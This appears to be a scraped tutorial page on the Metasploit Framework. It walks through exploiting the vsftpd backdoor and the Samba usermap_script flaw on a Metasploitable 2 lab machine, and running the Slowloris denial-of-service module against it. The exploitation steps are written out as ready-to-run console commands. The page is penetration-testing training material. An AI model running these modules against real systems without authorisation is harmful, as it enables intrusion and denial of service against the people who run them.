![]() |
VOOZH | about |
A Metasploit framework is a tool that is used by ethical hackers, security researchers, and pentesters to test vulnerabilities. It helps us to find vulnerabilities in networks, systems, and IoT. It's an open-source tool. It can be customized with the operating system. It's a bunch of exploits for various platforms. This Framework is written in the Ruby programming language. A user may set up an exploit module, combine it with a payload, aim at a target, and fire it against the target system using the different tools, libraries, user interfaces, and modules of Metasploit. Hundreds of exploits and different payload choices are contained in the vast and comprehensive database of Metasploit.
Let's understand the Metasploit Framework through various types of examples.
Here we will be using a vulnerable machine called Metasploitable 2. Follow the steps below to hack the FTP Server.
Step 1: Scanning all the open ports and services using Nmap (Nmap is a network scanning tool)
nmap -Pn -sV 192.168.29.94Command Explanation
Step 2: Exploit with Metasploit Framework.
msfconsoleIn the below screenshot, we are stating the Metasploit console using the msfconsole command.
Step 3: Here we can see the ftp service is open called vsftpd (Very Secure FTP Daemon) is an FTP server for Unix-like systems, including Linux, and the port number is 21. Let's get into the server. Search for Version which is FTP server used on it. Here I'm Searching for vsftpd. Here We use the search option for the search exploit.
search vsftpdCommand Explanation
Step 4: Now, we will be selecting the exploit by using the use command.
use 0Command Explanation
Step 5: Now we will see what are the requirements of run this exploit.
show optionsCommand Explanation:-
Step 6: Now we will run the exploit and get access to the FTP server.
exploitWe have got access to the FTP server of the target machine Metasploitable 2
Step 1: Type Command msfconsole for entering Metasploit Framework
msfconsoleStep 2: Use the payload auxiliary/dos/http/slowloris to perform DOS attack on victim.
use auxiliary/dos/http/slowlorisSlowloris tries for many connections to the target machine or web server open and holds them open as long as possible. This accomplishes by opening connections to the target web server and sending requests. Periodically, it will send HTTP request headers. Eventually denying additional connection attempts from client.
Step 3: Show the requirements to run the exploit.
show optionsStep 4: Set the target IP to run this exploit.
set rhost 192.168.29.94Step 5: Run this Exploit to run the dos attack.
exploitMultiple requests are been hit to the victim machine.
Step 1: Enter the Metasploit Framework using the following command.
msfconsoleStep 2: Use exploit for the Samba Usermap Script vulnerability.
use exploit/multi/samba/usermap_scriptStep 3: Show the requirements of the exploit.
show optionsStep 4: Set the credentials to run the exploit.
set RHOSTS 192.168.29.47Step 4: Exploit the vulnerability by running the payload.
exploitWe have successfully hacked the Samba Usermap Script vulnerability .